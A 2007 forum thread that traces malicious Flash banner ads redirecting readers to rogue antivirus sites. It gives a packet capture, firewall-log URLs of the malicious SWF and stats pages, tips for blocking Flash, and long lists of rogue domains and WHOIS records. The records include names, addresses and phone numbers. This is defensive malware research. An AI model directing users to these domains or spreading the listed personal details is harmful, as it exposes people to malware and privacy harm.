B.I.S.S. Forums > Flash Mystery

B.I.S.S. Forums > Malware News , Research & Removal > Malware Playground

Pages: 1, 2, 3

Kimberly

Dec 11 2007, 06:57 PM

Recently many people got redirected to rogue products such as ErrorSafe, Malware-Scan, PerformanceOptimizer, Erreur Chasseur for French people as they are geo location based. I got myself hit by such advertisements in my Virtual Machine while surfing on legitimate and serious websites.

References to read

Content of http://www.bluetack.co.uk/forums/index.php?showtopic=18044

Malicious advertisements and advertising fraud.
http://msmvps.com/blogs/spywaresucks/archi...08/1386804.aspx

Il mistero (svelato) della redirezione su ToolSicuro
http://www.suspectfile.com/wblog/?p=41

Translated version of ToolSicuro using Google:
http://translate.google.com/translate?u=ht...en&ie=UTF-8

Rogue ads pushing malware -- how it works
http://sunbeltblog.blogspot.com/2007/11/ro...d-networks.html

Mike On Ads - ErrorSafe
http://www.mikeonads.com/what-is-errorsafe...-do-we-stop-it/

The article from SuspectFile explains the mechanism very well so there isn't much to add. Most people of the spyware community got intrigued, myself included. Below is a small summary of the investigation I started yesterday but the main purpose of this article will be:

Can I protect myself from these adverts?

Ready for a flashy ride? Ok let's take off ...

Unless you know what you're doing or have a VM handy, don't play with this please.

Step 1 - Getting infected again

Since I know where I got the malicious swf file, it didn't take much time to get infected again. I was simply reading the news on a French website. So fasten your seat belts and let's surf over there again but this time with Ethereal running since we must trace the connections. Take off to Le Nouvel Observateur. Since adverts are rotating, it might take a couple of minutes to get the swf file, so let’s follow a few links on the main page. It took only a few mouse clicks to obtain the desired result. In the middle of reading a chapter, my Internet Browser sort of “vanished” and PerformanceOptimizer was all there was left on my desktop.

Clicking Ok or Cancel doesn't really matter ...
BTW, nice imitation of My Computer ... those guys are really inventive.

Back, Next, Cancel .... your choice. All roads lead to Rome.

Let's move on to the next part.

Step 2 - Tracking the advert

This part is time consuming as it does involve quite some reading. The firewall log may permit to narrow down – in other words spotting the link that is responsible for the infection.
I knew had to search after newbieadguide(dot)com and performanceoptimizer(dot)com but that wasn’t enough to understand everything.
The Ethereal log shows an interesting detail called Referer.

CODE

Frame 9319 (477 bytes on wire, 477 bytes captured)
Internet Protocol, Src: 192.168.x.x (192.168.x.x), Dst: newbieadguide.com (217.150.254.40)
Transmission Control Protocol, Src Port: 2105 (2105), Dst Port: http (80), Seq: 1, Ack: 1, Len: 423
Hypertext Transfer Protocol
    GET /statsa.php?u=23423424&campaign=c0pperin HTTP/1.1\r\n
    Accept: */*\r\n
    Accept-Language: en-US\r\n
    Referer: http://uniprix.nouvelobs.com/RealMedia/ads/Creatives/OasDefault/NO_TEXBOOKX_MBAN_1107//textbookx_728x90.swf?
clickTag=http://uniprix.nouvelob\r\n
    x-flash-version: 9,0,115,0\r\n
    ~~~~~~~~~~~~~~~: ~~~~~ ~~~~~~~\r\n
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n
    Host: newbieadguide.com\r\n
    Connection: Keep-Alive\r\n
    \r\n

Looks like we have found our culprit.

Step 3 - Trying to assemble the puzzle

File: textbookx_728x90.swf shows 100% clean at Virustotal.

Below are 2 screenshots of the swf file showing a part of its code using 2 different programs.

It has some encrypted? obfuscated? action scripts in it, way beyond my skills to decode that. Looks like SWF Encrypt was used to obfuscate the code.
You’ll find some details on it’s content and how it triggers in the write-up made by SuspectFile.

See the mention Protected & Encrypted.

Next “links in the chain” are the following web sites token from the firewall log:

CODE

12/11/2007 4:15:39 AM,http://newbieadguide.com/swf/gnida.swf?campaign=c0pperin&u=23423424
12/11/2007 4:15:38 AM,http://newbieadguide.com/statsg.php?u=23423424&campaign=c0pperin
12/11/2007 4:15:38 AM,http://newbieadguide.com/statsa.php?u=23423424&campaign=c0pperin

Note: Read up from bottom to top for chronological order.

I will not detail those elements; only post them for historical purposes. If you really feel bored, you can always take a peek at the code of the php pages.

newbieadguide.com/statsa.php
Click to view attachment

newbieadguide.com/statsg.php
Click to view attachment

"Chameleon" in gnida.swf (Refered by SuspectFile).

Action script from gnida.swf
Click to view attachment

Tools used

Flash Decompiler Trillix
http://www.decompiler-swf.com

Sothink SWF Decompiler
http://www.sothink.com/product/flashdecompiler/

Flare
http://www.nowrap.de/flare.html

SWF Encrypt™ 4.0
http://www.amayeta.com/

Ethereal
http://www.ethereal.com

Kimberly

Dec 12 2007, 01:48 AM

Can I protect myself from these adverts?

Hundreds of domains are “serving” this crap. So what's the miracle solution? I’m sorry I can’t offer the perfect way of handling this. I can simply suggest a few mesures.

The HOSTS file

You won’t get redirected to any of the sites included in the file. Thus by adding newbieadguide.com and all the other "known" domains, you still will be able to see the initial flash advert but you won't get redirected to the rogue site.
Con of this approach are the "unknown" domains. New domains are probably ready to serve the same redirects and before they are spotted, many innocent people will be hit over and over again. But it does help a little bit.

Firewall

If you have a firewall with ad blocking capacities, activate them. Most of them block banners if they meet some conditions based upon size, keywords, etc … It isn’t perfect but it surely helps.

Manage Add-ons in Internet Explorer

Open up Internet Explorer and select Tools > Manage Add-ons.
Depending on your Internet version, the options might vary a bit. Either look under Add-ons currently loaded in Internet Explorer or under Add-ons that have been used by Internet Explorer. IE7 has an additional option too.

Select the Shockwave Flash Object and set its status to disabled. Ok the boxes and restart Internet Explorer as required.

Internet Explorer add-ons: frequently asked questions
http://windowshelp.microsoft.com/Windows/e...df9b7e1033.mspx

How to Configure Enhanced Security Features for Internet Explorer from Windows XP SP2
http://www.microsoft.com/technet/security/...xp/iesecxp.mspx

How to manage Internet Explorer add-ons in Windows XP Service Pack 2
http://support.microsoft.com/kb/883256

NoScript for Firefox

Install NoScript for Firefox if not yet done.
Right click the icon in the status bar and select Options.

Put a checkmark next to Forbid Macromedia Flash. I would recommend checking Apply these restrictions to trusted sites to. If you only have a few trusted sites then you might leave that unchecked. Everything depends on your other settings.

More information can be found at the Noscript website

While you are installing plugins and securing Firefox, you might also add AdblockPlus on your ToDo list.

Setting the "killbit" for Flash

If you don’t want to mess around with the Internet Explorer Add-ons or Noscript, you can always set the killbit for Shockwave.

You can perform this task in various ways:

By creating a registry fix.
See : How to stop an ActiveX control from running in Internet Explorer.
FlashKill
Other Free Tools to deal with this.
Using Spyware Blaster

Of course with the last 3 methods you won’t be able to see Flash animations no matter what webpage you visit. But that’s a very small price to stay protected imo.

Uninstall Flash

How to uninstall the Adobe Flash Player plug-in and ActiveX control

Other Flash related links:

Now it's up to you all. Happy surf.

Kimberly

Dec 19 2007, 04:47 PM

On 17 December I received a positive response from the Nouvel Observateur, the banner was removed from the website.

Several banners are still active and present on internet, so webmasters take your responsibilities and take them down please. In doubt get them analysed and contribute to keep internet clean & safe.

Kimberly

Dec 21 2007, 01:21 AM

As mentionned above, people are redirected based upon their geo location. The list below reflects the main domains and their "associated" IP's / domains. The redirects I did stumble on during tests are listed in red (main domains not included).
The list is still a work in progress and I'll keep it updated as much as possible.

Main domains

newbieadguide.com - 217.150.254.40

Server Type: Apache
IP Location - Switzerland - Nine Internet Solutions Ag
Dedicated Hosting: newbieadguide.com is hosted on a dedicated server.

Record last updated on 24-Apr-2007.
Record expires on 20-Apr-2008.
Record created on 20-Apr-2007.

Domain servers in listed order:
NS2.NEWBIEADGUIDE.COM 190.15.73.252
NS1.NEWBIEADGUIDE.COM 190.15.73.251
______________________________

vozemiliogaranon.com - 217.150.254.41

Server Type: Apache
IP Location - Switzerland - Pc Ions Incorporation

Domain Name : vozemiliogaranon.com

::Registrant::
Name : Vozemiliogaranon
Email : mail(at)vozemiliogaranon.com
Address : kit street 56 Norn
Zipcode : 54451
Nation : BE
Tel : 54544
Fax :

::Administrative Contact::
Name : Vozemiliogaranon
Email : mail(at)vozemiliogaranon.com
Address : kit street 56 Norn
Zipcode : 54451
Nation : BE
Tel : 54544
Fax :

::Technical Contact::
Name : Vozemiliogaranon
Email : mail(at)vozemiliogaranon.com
Address : kit street 56 Norn
Zipcode : 54451
Nation : BE
Tel : 54544
Fax :

::Name Servers::
ns1.vozemiliogaranon.com
ns2.vozemiliogaranon.com
ns3.vozemiliogaranon.com
ns4.vozemiliogaranon.com

::Dates & Status::
Created Date 2007-11-23 04:58:49 EST
Updated Date 2007-11-23 04:58:49 EST
Valid Date 2008-11-23 04:58:49 EST
Status ACTIVE
______________________________

thetechnorati.com - 217.150.254.44

Server Type: Apache
IP Location - Switzerland - Nine Internet Solutions Ag

Error Message
There was an error processing your request.

Domain History
Cache Date: 2007-12-07
Domain Name : thetechnorati.com

::Registrant::
Name : Thetechnorati
Email : mail(at)thetechnorati.com
Address : Notr str 89
Zipcode : 7PO78
Nation : DK
Tel : 4554
Fax :

::Administrative Contact::
Name : Thetechnorati
Email : mail(at)thetechnorati.com
Address : Notr str 89
Zipcode : 7PO78
Nation : DK
Tel : 4554
Fax :

::Technical Contact::
Name : Thetechnorati
Email : mail(at)thetechnorati.com
Address : Notr str 89
Zipcode : 7PO78
Nation : DK
Tel : 4554
Fax :

::Name Servers::
ns1.thetechnorati.com
ns2.thetechnorati.com
ns3.thetechnorati.com
ns4.thetechnorati.com

::Dates & Status::
Created Date 2007-11-23 05:13:25 EST
Updated Date 2007-11-23 05:13:25 EST
Valid Date 2008-11-23 05:13:25 EST
Status ACTIVE
______________________________

akamahi.net - 217.150.254.45

Server Type: Apache
IP Location - Switzerland - Nine Internet Solutions Ag

Error Message
There was an error processing your request.

Domain History
Cache Date: 2007-12-23
Domain Name : akamahi.net

::Registrant::
Name : Akamahi
Email : mail@akamahi.net
Address : Lion str 45
Zipcode : 5651
Nation : CR
Tel : 45445
Fax :

::Administrative Contact::
Name : Akamahi
Email : mail@akamahi.net
Address : Lion str 45
Zipcode : 5651
Nation : CR
Tel : 45445
Fax :

::Technical Contact::
Name : Akamahi
Email : mail@akamahi.net
Address : Lion str 45
Zipcode : 5651
Nation : CR
Tel : 45445
Fax :

::Name Servers::
ns1.akamahi.net
ns2.akamahi.net
ns3.akamahi.net
ns4.akamahi.net

::Dates & Status::
Created Date 2007-11-23 05:18:08 EST
Updated Date 2007-11-23 05:18:08 EST
Valid Date 2008-11-23 05:18:08 EST
Status ACTIVE
______________________________

adtraff.com - 84.243.252.84

Server Type: nginx/0.4.13
IP Location - Netherlands - Gfx-cust-worldstream
Dedicated Hosting: adtraff.com is hosted on a dedicated server.

Record last updated on 02-Nov-2007.
Record expires on 13-Apr-2008.
Record created on 13-Apr-2007.

Domain servers in listed order:
NS1.ADTRAFF.COM 190.15.73.251
NS2.ADTRAFF.COM 190.15.73.252
______________________________

burnads.com - 84.243.252.85

Server Type: nginx/0.4.13
IP Location - Netherlands - Gfx-cust-worldstream
Dedicated Hosting: burnads.com is hosted on a dedicated server.

Error Message
There was an error processing your request.

Domain History
Cache Date: 2007-12-11
Domain Name : burnads.com

::Registrant::
Name : Ines Hadden
Email : burnads_c(at)yahoo.com
Address : 48, boulevard de Port Royal, Paris
Zipcode : 75005
Nation : FR
Tel : 164233375
Fax :

::Administrative Contact::
Name : Ines Hadden
Email : burnads_c(at)yahoo.com
Address : 48, boulevard de Port Royal, Paris
Zipcode : 75005
Nation : FR
Tel : 164233375
Fax :

::Technical Contact::
Name : Ines Hadden
Email : burnads_c(at)yahoo.com
Address : 48, boulevard de Port Royal, Paris
Zipcode : 75005
Nation : FR
Tel : 164233375
Fax :

::Name Servers::
ns1.burnads.com
ns2.burnads.com

::Dates & Status::
Created Date 2006-06-29 05:33:08 EDT
Updated Date 2007-06-27 17:54:41 EDT
Valid Date 2008-06-29 05:33:08 EDT
Status ACTIVE
______________________________

mysurvey4u.com - uniqads.com - traffalo.com - traveltray.com - 190.15.73.254

Server Type: lighttpd/1.4.13
IP Location - Francisco Morazan - Tegucigalpa - Secure Hosting Ltd
Reverse IP: 107 other sites hosted on this server.

mysurvey4u.com

Error Message
There was an error processing your request.

Domain History
Cache Date: 2007-12-14
Domain Name : mysurvey4u.com

::Registrant::
Name : MARKUS MCCOY
Email : mysurvey_4u(at)yahoo.com
Address : 5th Hancock Ave, Murrieta CA
Zipcode : 25405
Nation : US
Tel : 951-461-2785
Fax :

::Administrative Contact::
Name : MARKUS MCCOY
Email : mysurvey_4u(at)yahoo.com
Address : 5th Hancock Ave, Murrieta CA
Zipcode : 25405
Nation : US
Tel : 951-461-2785
Fax :

::Technical Contact::
Name : MARKUS MCCOY
Email : mysurvey_4u(at)yahoo.com
Address : 5th Hancock Ave, Murrieta CA
Zipcode : 25405
Nation : US
Tel : 951-461-2785
Fax :

::Name Servers::
ns1.mysurvey4u.com
ns2.mysurvey4u.com

::Dates & Status::
Created Date 2006-12-04 09:57:28 EST
Updated Date 2007-12-03 20:06:35 EST
Valid Date 2008-12-04 09:57:28 EST
Status ACTIVE

uniqads.com

Record last updated on 08-Jun-2007.
Record expires on 27-Apr-2008.
Record created on 27-Apr-2007.

Domain servers in listed order:
NS2.UNIQADS.COM 190.15.73.252
NS1.UNIQADS.COM 190.15.73.251

traffalo.com

Record last updated on 26-Apr-2007.
Record expires on 13-Apr-2008.
Record created on 13-Apr-2007.

Domain servers in listed order:
NS1.TRAFFALO.COM 190.15.73.251
NS2.TRAFFALO.COM 190.15.73.252

traveltray.com

Record last updated on 02-Jun-2007.
Record expires on 01-Jul-2008.
Record created on 01-Jul-2004.

Domain servers in listed order:
NS1.TRAVELTRAY.COM 190.15.73.251
NS2.TRAVELTRAY.COM 190.15.73.252

Closest Relationships

newbieadguide.com

domains sharing mailservers

ad2cash.net
adtraff.com
bucksbill.com
burnads.com
cryptdrive.com
deuscleanerpay.com
errordigger.com
errorinspector.com
fileprotector.com
forceup.com
freetvnow.net
netmediagroup.net
netturbopro.com
opensols.com
popupnukerpro.com
sellmoresoft.net
sellmysoft.net
traffalo.com
unicsearch.com
uniqads.com
windefender.com
zappinads.com

domains sharing nameservers

ad2cash.net
adcomatoz.com
adtraff.com
b2adz.com
blessedads.com
bucksbill.com
burnads.com
cryptdrive.com
fileprotector.com
forceup.com
freetvnow.net
megashopcity.com
mysurvey4u.com
netmediagroup.net
netturbopro.com
popadprovider.com
popupnukerpro.com
prevedmarketing.com
r2d2adverising.com
sellmoresoft.net
sellmysoft.net
shivanetworking.com
traffalo.com
traveltray.com
unicsearch.com
uniqads.com
upg-soft.net
windefender.com
yourshopz.com
zappinads.com

subdomains

mail.newbieadguide.com
ns1.newbieadguide.com
ns2.newbieadguide.com
www newbieadguide.com

______________________________

vozemiliogaranon.com

domains sharing nameservers

advancedcleaner.com
akamahi.net
antispywaresuite.com
antiviruspcsuite.com
bestsellerantivirus.com
diskretter.com
elmejorantivirus.com
erreurchasseur.com
exterminadordevirus.com
moncontenuassistant.com
schijfbewaker.com
securepccleaner.com
spyguardpro.com
storageprotector.com
systemdoctor.com
thetechnorati.com
toolsicuro.com

subdomains

ns1.vozemiliogaranon.com
ns2.vozemiliogaranon.com
ns3.vozemiliogaranon.com
ns4.vozemiliogaranon.com

______________________________

thetechnorati.com

domains sharing nameservers

advancedcleaner.com
antispywaresuite.com
antiviruspcsuite.com
bestsellerantivirus.com
diskretter.com
elmejorantivirus.com
erreurchasseur.com
exterminadordevirus.com
moncontenuassistant.com
schijfbewaker.com
securepccleaner.com
spyguardpro.com
storageprotector.com
systemdoctor.com
toolsicuro.com
vozemiliogaranon.com

subdomains

ns1.thetechnorati.com
ns2.thetechnorati.com
ns3.thetechnorati.com
ns4.thetechnorati.com

______________________________

akamahi.net

domains sharing nameservers

advancedcleaner.com
antispywaresuite.com
antiviruspcsuite.com
bestsellerantivirus.com
diskretter.com
elmejorantivirus.com
erreurchasseur.com
exterminadordevirus.com
moncontenuassistant.com
schijfbewaker.com
securepccleaner.com
spyguardpro.com
storageprotector.com
systemdoctor.com
thetechnorati.com
toolsicuro.com
vozemiliogaranon.com

subdomains

ns1.akamahi.net
ns2.akamahi.net
ns3.akamahi.net
ns4.akamahi.net

______________________________

mysurvey4u.com

hostnames sharing ip with a-records

ns1.1downlinebuilder.info
ns2.1downlinebuilder.info

domains sharing mailservers

advancedcleaner.com
boysmag.net
crazycinema.net
gaychoice.net
globalsoftcash.net
iseekporn.net
traveltray.com
videosexygirls.net
viragehosting.com

domains using this as nameserver

1downlinebuilder.info

domains sharing nameservers

ad2cash.net
adcomatoz.com
adtraff.com
b2adz.com
blessedads.com
bucksbill.com
burnads.com
cryptdrive.com
fileprotector.com
forceup.com
freetvnow.net
megashopcity.com
netmediagroup.net
netturbopro.com
newbieadguide.com
popadprovider.com
popupnukerpro.com
prevedmarketing.com
r2d2adverising.com
sellmoresoft.net
sellmysoft.net
shivanetworking.com
traffalo.com
traveltray.com
unicsearch.com
uniqads.com
upg-soft.net
windefender.com
yourshopz.com
zappinads.com

______________________________

traveltray.com

hostnames sharing ip with a-records

ns2.1easy-breezy.info

domains sharing mailservers

advancedcleaner.com
boysmag.net
crazycinema.net
gaychoice.net
globalsoftcash.net
iseekporn.net
mysurvey4u.com
videosexygirls.net
viragehosting.com

domains using this as nameserver

1easy-breezy.info

domains sharing nameservers

ad2cash.net
adcomatoz.com
adtraff.com
b2adz.com
blessedads.com
bucksbill.com
burnads.com
cryptdrive.com
fileprotector.com
forceup.com
freetvnow.net
megashopcity.com
mysurvey4u.com
netmediagroup.net
netturbopro.com
newbieadguide.com
popadprovider.com
popupnukerpro.com
prevedmarketing.com
r2d2adverising.com
sellmoresoft.net
sellmysoft.net
shivanetworking.com
traffalo.com
unicsearch.com
uniqads.com
upg-soft.net
windefender.com
yourshopz.com
zappinads.com

______________________________

uniqads.com - traffalo.com - burnads.com

domains sharing mailservers

ad2cash.net
adtraff.com
bucksbill.com
burnads.com
cryptdrive.com
deuscleanerpay.com
errordigger.com
errorinspector.com
fileprotector.com
forceup.com
freetvnow.net
netmediagroup.net
netturbopro.com
newbieadguide.com
opensols.com
popupnukerpro.com
sellmoresoft.net
sellmysoft.net
traffalo.com
unicsearch.com
windefender.com
zappinads.com

domains sharing nameservers

ad2cash.net
adcomatoz.com
adtraff.com
b2adz.com
blessedads.com
bucksbill.com
burnads.com
cryptdrive.com
fileprotector.com
forceup.com
freetvnow.net
megashopcity.com
mysurvey4u.com
netmediagroup.net
netturbopro.com
newbieadguide.com
popadprovider.com
popupnukerpro.com
prevedmarketing.com
r2d2adverising.com
sellmoresoft.net
sellmysoft.net
shivanetworking.com
traffalo.com
traveltray.com
unicsearch.com
upg-soft.net
windefender.com
yourshopz.com
zappinads.com

190.15.73.254

Ad2cash.net
Ad2profit.com
Adcomatoz.com
Adgurman.com
Adhokuspokus.com
Adnetserver.com
Adredired.com
Adsolutio.com
Adverdaemon.com
Adverlounge.com
Adzyclon.com
Antivirussecuritypro.com
Astalaprofit.com
B2adz.com
Bestadmedia.com
Bestpharmacydeals.com
Bestsearchnet.com
Bestshopz.com
Bestwnvmovies.com
Bizadverts.com
Bizmarketads.com
Blessedads.com
Brandmarketads.com
Bucksinsoft.com
Cancerno.com
Cashloanprofit.com
Casinoaceking.com
Casinodealsgalore.com
Cheap-auto-deals.com
Co-search.com
Deuscleanerpay.com
Easybestdeals.com
Eroticabsolute.com
Fantazybill.com
Favouriteshop.com
Fileprotector.com
Freepcsecure.com
Freetvnow.net
Friedads.com
Getfreecar.com
Glorymarkets.com
Great4mac.com
Greyhathosting.com
Hebooks-service.com
Iddqdmarketing.com
Infyte.com
Installprovider.com
Internetadaultfriend.com
Intervarioclick.com
Invulnerableads.com
Keywordcpv.com
Libresystm.com
Luckyadcoin.com
Luckyadsols.com
Magicsearcher.com
Manage-search.com
Marketingdungeon.com
Mediatornado.com
Megashopcity.com
Mightyfaq.com
Misc-search.com
Mobilesoftmarketing.com
Moneycometrue.com
Moneypalacecash.com
Myfavouritesearch.com
Myhealth-life.org
Myonlinefinance.com
Mysurvey4u.com
Mythmarketing.com
Mytravelgeek.com
Netturbopro.com
Onestopshopz.com
Opensols.com
Pcsoftw.com
Pcsupercharger.com
Popadprovider.com
Popsmedia.com
Popupnukerpro.com
Prenetsearch.com
Prevedmarketing.com
Prizesforyou.com
R2d2adverising.com
Rocktheads.com
Roller-search.com
Rombic-search.com
Searchcolours.com
Sellmoresoft.com
Selvascreensaver.com
Sharpadverts.com
Shivanetworking.com
Shopshot.com
Softwcs.com
Stratosearch.com
Swiftcleaner.com
Tallgrass-seach.com
Traffalo.com
Traveltray.com
Uniqads.com
Vitecmedia.com
Waytotheprofit.com
Windefender.com
Wontu-search.com
Workhomecenter.com
Yourseeker.com
Yourshopz.com
Yourteacheronline.com
Zappinads.com
Zooworld-search.com

84.243.253.220

Anonymbrowser.com
Blablahost.com
Errordigger.com
Errorinspector.com
Passwordinspector.com
Performanceoptimizer.com
Sellmosoft.net
Internetsupernanny.com

77.91.229.103

Malware-scan.com
Xmalware-scan.com

77.91.229.104

scanner2.malware-scan.com

67.55.81.200

Accelerateurmaligne.com
Aceleradorlisto.com
Addioerrori.com
Adremversneller.com
Anonymwinpc.com
Antimalwareshield.com
Antispywarecontrole.com
Antispywarecontrollo.com
Antispywarekontrolle.com
Antispywareseigyo.com
Antivirusgereedschap.com
Antivirusscherm.com
Antivirussolusjon.com
Aucunsvirus.com
Avsystemcare.com
Bedsteantivirus.com
Bereiniger.com
Cleverspeeder.com
Controlantiespia.com
Defectshuri.com
Doraibuhogo.com
Easysprinter.com
Echterschutz.com
Effaceurvirus.com
Elevarendimiento.com
Enkelsprinter.com
Errclean.com
Erreurchasseur.com
Fiksfeil.com
Fixmenaces.com
Handigebeheerder.com
Harddrevvagt.com
Hataduzelticisi.com
Herramientadereparacion.com
Hukommelsesbeskytter.com
Hulpprogramma.com
Kansennashi.com
Kantansprinter.com
Keinespuren.com
Keinestoerungen.com
Klogspeeder.com
Klugerspeeder.com
Kontentsueraser.com
Kvikkpc.com
Kyoishusei.com
Leichtersprinter.com
Lettsprinter.com
Liberapc.com
Lifelongpc.com
Maskinpcpro.com
Megaviruskit.com
Megliopc.com
Melhorpc.com
Memoiredefenseur.com
Mendingtool.com
Minnesverktyg.com
Moncontenuassistant.com
Msahihalakhtaa.com
Nemsprinter.com
Nettoyagevirus.com
Nientevirus.com
Nochanceforvirus.com
Noespias.com
Nulinfektioner.com
Ottimizzaveloce.com
Pasokoneiju.com
Pcforbedring.com
Pclyftare.com
Pcohneviren.com
Pcoppdrettere.com
Pcopschoner.com
Pcopschoningsstel.com
Pcraiser.com
Pcreveil.com
Pcsamensteller.com
Pcscattista.com
Pcschirmer.com
Pcverdediger.com
Performancekoujou.com
Privacidadplus.com
Protectioncomplete.com
Puliscitutto.com
Pulitasystem.com
Rendator.com
Rensningverktyg.com
Reparameacas.com
Reparamenazas.com
Reparetudo.com
Scattofacile.com
Shufukutsuru.com
Sicheressystem.com
Sininfecciones.com
Smartkasoku.com
Smartokare.com
Sprinterfacile.com
Sprinterpc.com
Sysdepannage.com
Syskontroller.com
Systemfreigabe.com
Systemreiniging.com
Tabortvirus.com
Temizsurucu.com
Utiledeprotection.com
Varrevirus.com
Velocidadsimple.com
Vigilamenazas.com
Virenloescher.com
Virenstopper.com
Virtual-leatherman.com
Virusfjernere.com
Virusudryddet.com
Winadsiz.com
Winanonyme.com
Winanonymitet.com
Winanzen.com
Winbescherming.com
Windefensa.com
Windifesavirale.com
Winhogo.com
Winkujoenjin.com
Winpcalmeglio.com
Winpcdocteur.com
Winpcdoktor.com
Winpckontroll.com
Winpcrensare.com
Winpcrensere.com
Winriservatezza.com
Winsecurite.com
Winsikkerantivirus.com
Winsikretav.com
Winsurffilter.com
Wintemizleyicisi.com
Wintrygghet.com
Wirusumuryokuka.com
Yoursystemguard.com

87.117.252.11

Acchiappavirus.com
Adiosvirus.com
Ahorrememoria.com
Altalimpeza.com
Anonimutente.com
Antiamenazas.com
Antiespiamaestro.com
Antievidence.com
Antispionimaestro.com
Antispywareconductor.com
Antispywarecontrol.com
Antispywaremaster.com
Antispywaremeister.com
Antispywaresuite.com
Antivirusfiable.com
Antivirusforall.com
Antivirusforalla.com
Antivirusforalle.com
Antivirusfueralle.com
Antivirusgenial.com
Antivirusmagique.com
Antivirusparatodos.com
Antiviruspcsuite.com
Anzentsuru.com
Apagahistorico.com
Apolloantivirus.com
Archivosenestado.com
Atemaiserro.com
Atrapavirus.com
Aucunchoixpourvirus.com
Aucunefaute.com
Aucuninfection.com
Aucunmenace.com
Aucunserreurs.com
Avcompleto.com
Avsecurityplus.com
Avseguro.com
Bandoaivirus.com
Bandoalleinfezioni.com
Barreraintegral.com
Bastioneantivirus.com
Beschermingstool.com
Beskyttelseonline.com
Beskyttendevaerktoj.com
Bestsellerantivirus.com
Blanchdisc.com
Borresuspasos.com
Bossedeserreurs.com
Brossedesfautes.com
Bugseraser.com
Caiforavirus.com
Ceroamenazas.com
Cerovirus.com
Chasseurdeserreures.com
Cleanerpotente.com
Cleanpctool.com
Cleanuptool.com
Confidentsurf.com
Confidentuser.com
Contenidoseguros.com
Contenteraser.com
Controledemenaces.com
Controlloreprivacy.com
Curerrores.com
Dataconfidentiality.com
Defensaantivirus.com
Defensecelebre.com
Defensededriver.com
Defensedinformation.com
Defensedudisque.com
Defensenetsurfage.com
Defensivesystem.com
Dejitarufukugen.com
Dejitarukyoikira.com
Dejitaruwakuchin.com
Detapurotekuta.com
Detaripea.com
Detectaerrores.com
Discoseguro.com
Diskassistent.com
Diskretter.com
Disksaeuberung.com
Disksizesaver.com
Disksparare.com
Disukushuri.com
Doubledefender.com
Driversecurise.com
Einwandfreierpc.com
Eliminadordeamenazas.com
Elmejorantivirus.com
Emperahogo.com
Enmiendaerrores.com
Equipoantiespia.com
Eracheisa.com
Erasutoppu.com
Errorfighter.com
Essentialeraser.com
Expertdantispyware.com
Exterminadordevirus.com
Extremuclean.com
Fairukyua.com
Fehlerbeseitiger.com
Feilvakt.com
Fejlfripc.com
Fejlreparering.com
Felfixare.com
Ferramentadesolucao.com
Ferramentasegura.com
Festplattencleaner.com
Festplattenreiniger.com
Festplattentool.com
Fiksdinpc.com
Filtredetraces.com
Filtrototal.com
Fixthemnow.com
Fjernervirus.com
Foutenwacht.com
Geheugenredder.com
Guardiandelaprivacidad.com
Guardianodelpc.com
Gubbishremover.com
Hackerstaisaku.com
Hadodoraibugado.com
Harddriveguard.com
Herramientasegura.com
Historialout.com
Hotbevakning.com
Ingavirus.com
Ingenmulighetforvirus.com
Inhaltsaeuberung.com
Inhaltspeicher.com
Inmunepc.com
Kakujitsutsuru.com
Keinespurenlassen.com
Keineviren.com
Knowhowprotection.com
Konsekiauto.com
Kontentsufiruta.com
Kurinkonseki.com
Kyoiireza.com
Kyoikanshi.com
Kyoryokucleaner.com
Largavidapc.com
Laufwerkcleaner.com
Libresystem.com
Limpiapc.com
Limpietodo.com
Lomejorenantivirus.com
Longlifepc.com
Lungavitapc.com
Maechtigerreiniger.com
Malwareschutz.com
Manutencaopc.com
Memorisebu.com
Menacecontrole.com
Menacefighter.com
Menacemonitor.com
Menacescrubber.com
Menacesprotection.com
Miavcompleto.com
Mightycleaner.com
Minnesparere.com
Monitordeamenazas.com
Moteurpcpro.com
Mycontentassistant.com
Netsurfageassure.com
Nettoyeurdepc.com
Nettoyeurdeserreures.com
Nettoyeurdevirus.com
Nettoyeurpuissant.com
Neuerantivirus.com
Neuerschild.com
Nientetracce.com
Nouvelantivirus.com
Nurdeinpc.com
Ohnespurensurfen.com
Omelhorantivirus.com
Onlinehelpmate.com
Onlineverktyg.com
Onrainpurotekuta.com
Ordureffaceur.com
Oruripea.com
Pasderreurs.com
Pasdesfautes.com
Pasdesmenaces.com
Pasendommagement.com
Pasplusdespertes.com
Pasplusdevirus.com
Pcantiviruspro.com
Pcassertor.com
Pcbewaker.com
Pcboosterpro.com
Pcbunan.com
Pceternel.com
Pcforfender.com
Pchealthkeeper.com
Pchjaelper.com
Pcinforedder.com
Pclibredevirus.com
Pcohnespuren.com
Pcprivacytool.com
Pcredskab.com
Pcsansbug.com
Pcsecuresystem.com
Pcsecurise.com
Pcsentineru.com
Pcsiemprenueva.com
Pctoolpro.com
Pcultralimpia.com
Pcveiligheidstool.com
Pcvirussweeper.com
Perfektantivirus.com
Personalityprotector.com
Poseidonantivirus.com
Poupememoria.com
Preservingtool.com
Privacidadconductor.com
Privacidadgarantizada.com
Privacidadyseguridad.com
Privacyconductor.com
Privacyredder.com
Privacywaker.com
Privacywarrior.com
Privatsicherer.com
Protecaoconfiavel.com
Proteccionasegurada.com
Proteccioncompleta.com
Proteccionimperial.com
Protecteurdinfo.com
Protectionassuree.com
Protectionconue.com
Protectiondedriver.com
Protectiondenetsurfage.com
Proteggidati.com
Protezioneesperta.com
Protezionefidata.com
Pulituraestrema.com
Puraibashihosho.com
Puraibashimaneja.com
Puraibashitoshinrai.com
Rendimientototal.com
Rensanu.com
Reparaerrores.com
Reparateurdesysteme.com
Repareja.com
Reparemenaces.com
Repareya.com
Rimuoviciarpame.com
Riparaminacce.com
Riparasubito.com
Riservatezzanet.com
Safeharddrive.com
Safepctool.com
Safudaijoubu.com
Salvaspaziosudisco.com
Sansendommagement.com
Sansinfections.com
Sayonarabaggu.com
Schijfbewaker.com
Schijfcontroleur.com
Schijfredder.com
Schijfruimteredder.com
Schutzderdaten.com
Schutzfuerpc.com
Schutztool.com
Secretissimosoft.com
Secretopertutti.com
Secretosasalvo.com
Secretoseguro.com
Securepccleaner.com
Sefunahimitsu.com
Sekretessforsvarare.com
Senzadoppioni.com
Shingaidome.com
Shinraihogo.com
Shinraipafomansu.com
Shisutemudifensu.com
Sichererantivirus.com
Sichererschutz.com
Sicherheitstool.com
Sikkerbrukere.com
Sikkerpcredskap.com
Sikkersystem.com
Sinataques.com
Sinrrastros.com
Sinsenales.com
Sistemaprotegido.com
Sistemupyua.com
Sisutemuantei.com
Sisutemuorugurin.com
Skyddsprogram.com
Smittfri.com
Solelunaantivirus.com
Speichertool.com
